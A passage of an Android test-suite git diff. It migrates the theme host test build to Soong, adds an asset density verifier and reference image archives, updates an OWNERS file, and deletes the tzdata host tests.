+    protected void setUp() throws Exception {
+        super.setUp();
+        installPackage(TEST_APK, true);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        uninstallPackage(TEST_PKG, true);
+        super.tearDown();
+    }
+
+    public void testAppZygoteMemtagSyncService() throws Exception {
+        if (!deviceSupportsMemoryTagging) {
+            return;
+        }
+        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testAppZygoteMemtagSyncService",
+                /*enabledChanges*/ ImmutableSet.of(),
+                /*disabledChanges*/ ImmutableSet.of());
+    }
+}
diff --git a/hostsidetests/theme/Android.bp b/hostsidetests/theme/Android.bp
new file mode 100644
index 0000000..9d1c692
--- /dev/null
+++ b/hostsidetests/theme/Android.bp
@@ -0,0 +1,42 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    // Must match the package name in CtsTestCaseList.mk
+    name: "CtsThemeHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Special handling for pre-release builds where the SDK version has not been
+    // updated, in which case we'll use the version codename (ex. "O").
+    product_variables: {
+        platform_sdk_version_or_codename: {
+            java_resource_dirs: ["assets/%s"],
+        },
+    },
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/theme/Android.mk b/hostsidetests/theme/Android.mk
deleted file mode 100644
index 44637c1..0000000
--- a/hostsidetests/theme/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# TODO: the following hinders conversion of this makefile to a blueprint.
-# Special handling for pre-release builds where the SDK version has not been
-# updated, in which case we'll use the version codename (ex. "O").
-ifeq (REL,$(PLATFORM_VERSION_CODENAME))
-    LOCAL_JAVA_RESOURCE_DIRS := assets/$(PLATFORM_SDK_VERSION)/
-else
-    LOCAL_JAVA_RESOURCE_DIRS := assets/$(PLATFORM_VERSION_CODENAME)/
-endif
-
-LOCAL_MODULE_TAGS := optional
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_MODULE := CtsThemeHostTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_CTS_TEST_PACKAGE := android.host.theme
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/theme/app/src/android/theme/app/AssetBucketVerifier.java b/hostsidetests/theme/app/src/android/theme/app/AssetBucketVerifier.java
new file mode 100644
index 0000000..09875b1
--- /dev/null
+++ b/hostsidetests/theme/app/src/android/theme/app/AssetBucketVerifier.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.theme.app;
+
+import android.content.Context;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+class AssetBucketVerifier {
+    /** Asset file to verify. */
+    private static final String ASSET_NAME = "ic_star_black_16dp.png";
+
+    /** Densities at which {@link #ASSET_NAME} may be defined. */
+    private static final int[] DENSITIES_DPI = new int[] {
+            160, // mdpi
+            240, // hdpi
+            320, // xhdpi
+            480, // xxhdpi
+            640, // xxxhdpi
+    };
+
+    /** Bucket names corresponding to {@link #DENSITIES_DPI} entries. */
+    private static final String[] DENSITIES_NAME = new String[] {
+            "mdpi",
+            "hdpi",
+            "xhdpi",
+            "xxhdpi",
+            "xxxhdpi"
+    };
+
+    static class Result {
+        String expectedAtDensity;
+        List<String> foundAtDensity;
+    }
+
+    static Result verifyAssetBucket(Context context) {
+        List<String> foundAtDensity = new ArrayList<>();
+        String expectedAtDensity = null;
+
+        int deviceDensityDpi = context.getResources().getConfiguration().densityDpi;
+        for (int i = 0; i < DENSITIES_DPI.length; i++) {
+            // Find the matching or next-highest density bucket.
+            if (expectedAtDensity == null && DENSITIES_DPI[i] >= deviceDensityDpi) {
+                expectedAtDensity = DENSITIES_NAME[i];
+            }
+
+            // Try to load and close the asset from the current density.
+            try {
+                context.getAssets().openNonAssetFd(1,
+                        "res/drawable-" + DENSITIES_NAME[i] + "-v4/" + ASSET_NAME).close();
+                foundAtDensity.add(DENSITIES_NAME[i]);
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+        }
+
+        if (expectedAtDensity == null) {
+            expectedAtDensity = DENSITIES_NAME[DENSITIES_NAME.length - 1];
+        }
+
+        Result result = new Result();
+        result.expectedAtDensity = expectedAtDensity;
+        result.foundAtDensity = foundAtDensity;
+        return result;
+    }
+}
diff --git a/hostsidetests/theme/app/src/android/theme/app/GenerateImagesActivity.java b/hostsidetests/theme/app/src/android/theme/app/GenerateImagesActivity.java
index b764752..43f9cd4 100644
--- a/hostsidetests/theme/app/src/android/theme/app/GenerateImagesActivity.java
+++ b/hostsidetests/theme/app/src/android/theme/app/GenerateImagesActivity.java
@@ -65,14 +65,46 @@
         // Useful for local testing. Not required for CTS harness.
         getWindow().addFlags(LayoutParams.FLAG_KEEP_SCREEN_ON);
 
+        // Make sure the device has reasonable assets.
+        String assetDensityFailureMsg = checkAssetDensity();
+        if (assetDensityFailureMsg != null) {
+            finish("Failed to verify device assets: "+ assetDensityFailureMsg, false);
+        }
+
         mOutputDir = setupOutputDirectory();
         if (mOutputDir == null) {
-            finish("Failed to create output directory " + mOutputDir.getAbsolutePath(), false);
+            finish("Failed to create output directory " + OUT_DIR, false);
         } else {
-            generateNextImage();
+            mOutputDir = setupOutputDirectory();
+            if (mOutputDir == null) {
+                finish("Failed to create output directory: " + OUT_DIR, false);
+            } else {
+                generateNextImage();
+            }
         }
     }
 
+    private String checkAssetDensity() {
+        AssetBucketVerifier.Result result = AssetBucketVerifier.verifyAssetBucket(this);
+
+        String message;
+        if (result.foundAtDensity.contains(result.expectedAtDensity)) {
+            message = null;
+        } else if (result.foundAtDensity.isEmpty()) {
+            message = "Failed to find expected device assets at any density";
+        } else {
+            StringBuilder foundAtDensityStr = new StringBuilder(result.foundAtDensity.get(0));
+            for (int i = 1; i < result.foundAtDensity.size(); i++) {
+                foundAtDensityStr.append(", ");
+                foundAtDensityStr.append(result.foundAtDensity.get(i));
+            }
+            message = "Failed to find device assets at expected density ("
+                    + result.expectedAtDensity + "), but found at " + foundAtDensityStr;
+        }
+
+        return message;
+    }
+
     private File setupOutputDirectory() {
         mOutputDir = new File(Environment.getExternalStorageDirectory(), OUT_DIR);
         ThemeTestUtils.deleteDirectory(mOutputDir);
@@ -105,8 +137,9 @@
     private void generateNextImage() {
         // Keep trying themes until one works.
         boolean success = false;
-        while (++mCurrentTheme < THEMES.length && !success) {
+        while (mCurrentTheme < THEMES.length && !success) {
             success = launchThemeDeviceActivity();
+            mCurrentTheme++;
         }
 
         // If we ran out of themes, we're done.
diff --git a/hostsidetests/theme/assets/Tiramisu/140dpi.zip b/hostsidetests/theme/assets/Tiramisu/140dpi.zip
new file mode 100644
index 0000000..48de32b
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/140dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/180dpi.zip b/hostsidetests/theme/assets/Tiramisu/180dpi.zip
new file mode 100644
index 0000000..4def986
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/180dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/200dpi.zip b/hostsidetests/theme/assets/Tiramisu/200dpi.zip
new file mode 100644
index 0000000..fe2495e
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/200dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/220dpi.zip b/hostsidetests/theme/assets/Tiramisu/220dpi.zip
new file mode 100644
index 0000000..a2c2ea2
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/220dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/260dpi.zip b/hostsidetests/theme/assets/Tiramisu/260dpi.zip
new file mode 100644
index 0000000..74890a2
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/280dpi.zip b/hostsidetests/theme/assets/Tiramisu/280dpi.zip
new file mode 100644
index 0000000..83fd290
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/300dpi.zip b/hostsidetests/theme/assets/Tiramisu/300dpi.zip
new file mode 100644
index 0000000..25334d8
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/340dpi.zip b/hostsidetests/theme/assets/Tiramisu/340dpi.zip
new file mode 100644
index 0000000..2092326
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/360dpi.zip b/hostsidetests/theme/assets/Tiramisu/360dpi.zip
new file mode 100644
index 0000000..c13ad5c
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/400dpi.zip b/hostsidetests/theme/assets/Tiramisu/400dpi.zip
new file mode 100644
index 0000000..1df1a95
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/420dpi.zip b/hostsidetests/theme/assets/Tiramisu/420dpi.zip
new file mode 100644
index 0000000..d58d418
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/440dpi.zip b/hostsidetests/theme/assets/Tiramisu/440dpi.zip
new file mode 100644
index 0000000..535102f
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/440dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/560dpi.zip b/hostsidetests/theme/assets/Tiramisu/560dpi.zip
new file mode 100644
index 0000000..20f1c7b
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/hdpi.zip b/hostsidetests/theme/assets/Tiramisu/hdpi.zip
new file mode 100644
index 0000000..582989d
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/ldpi.zip b/hostsidetests/theme/assets/Tiramisu/ldpi.zip
new file mode 100644
index 0000000..3035146
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/mdpi.zip b/hostsidetests/theme/assets/Tiramisu/mdpi.zip
new file mode 100644
index 0000000..a831e7b
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/tvdpi.zip b/hostsidetests/theme/assets/Tiramisu/tvdpi.zip
new file mode 100644
index 0000000..bd4bf75
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/xhdpi.zip b/hostsidetests/theme/assets/Tiramisu/xhdpi.zip
new file mode 100644
index 0000000..0dd72e2
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/xxhdpi.zip b/hostsidetests/theme/assets/Tiramisu/xxhdpi.zip
new file mode 100644
index 0000000..64fc846
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/xxxhdpi.zip b/hostsidetests/theme/assets/Tiramisu/xxxhdpi.zip
new file mode 100644
index 0000000..87beb9a
--- /dev/null
+++ b/hostsidetests/theme/assets/Tiramisu/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/140dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/140dpi.zip
new file mode 100644
index 0000000..48de32b
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/140dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/180dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/180dpi.zip
new file mode 100644
index 0000000..4def986
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/180dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/200dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/200dpi.zip
new file mode 100644
index 0000000..fe2495e
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/200dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/220dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/220dpi.zip
new file mode 100644
index 0000000..a2c2ea2
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/220dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/260dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/260dpi.zip
new file mode 100644
index 0000000..74890a2
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/280dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/280dpi.zip
new file mode 100644
index 0000000..83fd290
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/300dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/300dpi.zip
new file mode 100644
index 0000000..25334d8
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/340dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/340dpi.zip
new file mode 100644
index 0000000..2092326
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/360dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/360dpi.zip
new file mode 100644
index 0000000..c13ad5c
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/400dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/400dpi.zip
new file mode 100644
index 0000000..1df1a95
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/420dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/420dpi.zip
new file mode 100644
index 0000000..d58d418
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/440dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/440dpi.zip
new file mode 100644
index 0000000..535102f
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/440dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/560dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/560dpi.zip
new file mode 100644
index 0000000..20f1c7b
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/hdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/hdpi.zip
new file mode 100644
index 0000000..582989d
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/ldpi.zip b/hostsidetests/theme/assets/UpsideDownCake/ldpi.zip
new file mode 100644
index 0000000..3035146
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/mdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/mdpi.zip
new file mode 100644
index 0000000..a831e7b
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/tvdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/tvdpi.zip
new file mode 100644
index 0000000..bd4bf75
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/xhdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/xhdpi.zip
new file mode 100644
index 0000000..0dd72e2
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/xxhdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/xxhdpi.zip
new file mode 100644
index 0000000..64fc846
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/xxxhdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/xxxhdpi.zip
new file mode 100644
index 0000000..87beb9a
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/time/OWNERS b/hostsidetests/time/OWNERS
index a81fa72..be0513d7 100644
--- a/hostsidetests/time/OWNERS
+++ b/hostsidetests/time/OWNERS
@@ -1,3 +1,2 @@
 # Bug component: 847766
-nfuller@google.com
-include platform/frameworks/base:/core/java/android/app/timedetector/OWNERS
+include platform/frameworks/base:/services/core/java/com/android/server/timezonedetector/OWNERS
diff --git a/hostsidetests/tzdata/Android.bp b/hostsidetests/tzdata/Android.bp
deleted file mode 100644
index be847bd..0000000
--- a/hostsidetests/tzdata/Android.bp
+++ /dev/null
@@ -1,35 +0,0 @@
-// Copyright (C) 2017 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-java_test_host {
-    name: "CtsHostTzDataTests",
-    defaults: ["cts_defaults"],
-    // Only compile source java files in this apk.
-    srcs: ["src/**/*.java"],
-    libs: ["tradefed"],
-    static_libs: [
-        "tzdata-testing",
-        "time_zone_distro",
-        "time_zone_distro_builder",
-    ],
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-}
diff --git a/hostsidetests/tzdata/AndroidTest.xml b/hostsidetests/tzdata/AndroidTest.xml
deleted file mode 100644
index 29c7891..0000000
--- a/hostsidetests/tzdata/AndroidTest.xml
+++ /dev/null
@@ -1,26 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS tzdatacheck host test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="libcore" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsHostTzDataTests.jar" />
-    </test>
-</configuration>
diff --git a/hostsidetests/tzdata/OWNERS b/hostsidetests/tzdata/OWNERS
deleted file mode 100644
index 2d36574..0000000
--- a/hostsidetests/tzdata/OWNERS
+++ /dev/null
@@ -1,2 +0,0 @@
-# Bug component: 24949
-include platform/libcore:/OWNERS
diff --git a/hostsidetests/tzdata/TEST_MAPPING b/hostsidetests/tzdata/TEST_MAPPING
deleted file mode 100644
index cb259b1..0000000
--- a/hostsidetests/tzdata/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "presubmit": [
-    {
-      "name": "CtsHostTzDataTests"
-    }
-  ]
-}
diff --git a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
deleted file mode 100644
index 551a0e4..0000000
--- a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
+++ /dev/null
@@ -1,1004 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tzdata;
-
-import static org.junit.Assert.assertArrayEquals;
-
-import com.android.i18n.timezone.TzDataSetVersion;
-import libcore.timezone.testing.ZoneInfoTestHelper;
-
-import com.android.timezone.distro.DistroVersion;
-import com.android.timezone.distro.TimeZoneDistro;
-import com.android.timezone.distro.builder.TimeZoneDistroBuilder;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.util.Comparator;
-import java.util.StringJoiner;
-import java.util.function.Consumer;
-
-/**
- * Tests for the tzdatacheck binary.
- *
- * <p>The tzdatacheck binary operates over two directories: the "system directory" containing the
- * time zone rules in the system image, and a "data directory" in the data partition which can
- * optionally contain time zone rules data files for bionic/libcore and ICU.
- *
- * <p>This test executes the tzdatacheck binary to confirm it operates correctly in a number of
- * simulated situations; simulated system and data directories in various states are created in a
- * location the shell user has permission to access and the tzdatacheck binary is then executed.
- * The status code and directory state after execution is then used to determine if the tzdatacheck
- * binary operated correctly.
- *
- * <p>Most of the tests below prepare simulated directory structure for the system and data dirs
- * on the host before pushing them to the device. Device state is then checked rather than syncing
- * the files back.
- */
-public class TzDataCheckTest extends DeviceTestCase {
-
-    /**
-     * The name of the directory containing the current time zone rules data beneath
-     * {@link #mDataDir}.  Also known to {@link
-     * com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
-     */
-    private static final String CURRENT_DIR_NAME = "current";
-
-    /**
-     * The name of the directory containing the staged time zone rules data beneath
-     * {@link #mDataDir}.  Also known to {@link
-     * com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
-     */
-    private static final String STAGED_DIR_NAME = "staged";
-
-    /**
-     * The name of the file inside the staged directory that indicates the staged operation is an
-     * uninstall. Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
-     * tzdatacheck.cpp.
-     */
-    private static final String UNINSTALL_TOMBSTONE_FILE_NAME = "STAGED_UNINSTALL_TOMBSTONE";
-
-    /**
-     * The name of the /system time zone data file. Also known to tzdatacheck.cpp.
-     */
-    private static final String SYSTEM_TZ_VERSION_FILE_NAME = "tz_version";
-
-    /** A valid time zone rules version guaranteed to be older than {@link #RULES_VERSION_TWO} */
-    private static final String RULES_VERSION_ONE = "2016g";
-    /** A valid time zone rules version guaranteed to be newer than {@link #RULES_VERSION_ONE} */
-    private static final String RULES_VERSION_TWO = "2016h";
-    /**
-     * An arbitrary, valid time zone rules version used when it doesn't matter what the rules
-     * version is.
-     */
-    private static final String VALID_RULES_VERSION = RULES_VERSION_ONE;
-
-    /** An arbitrary valid revision number. */
-    private static final int VALID_REVISION = 1;
-
-    private String mDeviceAndroidRootDir;
-    private PathPair mTestRootDir;
-    private PathPair mSystemDir;
-    private PathPair mDataDir;
-
-    public void setUp() throws Exception {
-        super.setUp();
-
-        // It's not clear how we would get this without invoking "/system/bin/sh", but we need the
-        // value first to do so. It has been hardcoded instead.
-        mDeviceAndroidRootDir = "/system";
-
-        // Create a test root directory on host and device.
-        Path hostTestRootDir = Files.createTempDirectory("tzdatacheck_test");
-        mTestRootDir = new PathPair(
-                hostTestRootDir,
-                "/data/local/tmp/tzdatacheck_test");
-        createDeviceDirectory(mTestRootDir);
-
-        // tzdatacheck requires two directories: a "system" path and a "data" path.
-        mSystemDir = mTestRootDir.createSubPath("system_dir");
-        mDataDir = mTestRootDir.createSubPath("data_dir");
-
-        // Create the host-side directory structure (for preparing files before pushing them to
-        // device and looking at files retrieved from device).
-        createHostDirectory(mSystemDir);
-        createHostDirectory(mDataDir);
-
-        // Create the equivalent device-side directory structure for receiving files.
-        createDeviceDirectory(mSystemDir);
-        createDeviceDirectory(mDataDir);
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        // Remove the test root directories that have been created by this test.
-        deleteHostDirectory(mTestRootDir, true /* failOnError */);
-        deleteDeviceDirectory(mTestRootDir, true /* failOnError */);
-        super.tearDown();
-    }
-
-    /**
-     * Test the base file used by tzdatacheck exists in the expected location - tzcdatacheck relies
-     * on this file to determine the version of tzdata on device. The path is passed to tzdatacheck
-     * via a command line argument hardcoded in system/core/rootdir/init.rc.
-     */
-    public void testExpectedBaseFilesExist() throws Exception {
-        String baseTzFilesDir = "/apex/com.android.tzdata/etc/tz/";
-        assertDeviceFileExists(baseTzFilesDir + "tz_version");
-    }
-
-    public void testTooFewArgs() throws Exception {
-        // No need to set up or push files to the device for this test.
-        assertEquals(1, runTzDataCheckWithArgs(new String[0]));
-        assertEquals(1, runTzDataCheckWithArgs(new String[] { "oneArg" }));
-    }
-
-    // {dataDir}/staged exists but it is a file.
-    public void testStaging_stagingDirIsFile() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        // Create a file with the same name as the directory that tzdatacheck expects.
-        Files.write(dataStagedDir.hostPath, new byte[] { 'a' });
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code. Failures due to staging issues are
-        // generally ignored providing the device is left in a reasonable state.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the file was just ignored. This is a fairly arbitrary choice to leave it rather
-        // than delete.
-        assertDevicePathExists(dataStagedDir);
-        assertDevicePathIsFile(dataStagedDir);
-    }
-
-    // {dataDir}/staged exists but /current dir is a file.
-    public void testStaging_uninstall_currentDirIsFile() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-
-        // Create a staged uninstall.
-        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        createStagedUninstallOnHost(dataStagedDir);
-
-        // Create a file with the same name as the directory that tzdatacheck expects.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
-
-        // Push the host test directory and contents to the device.
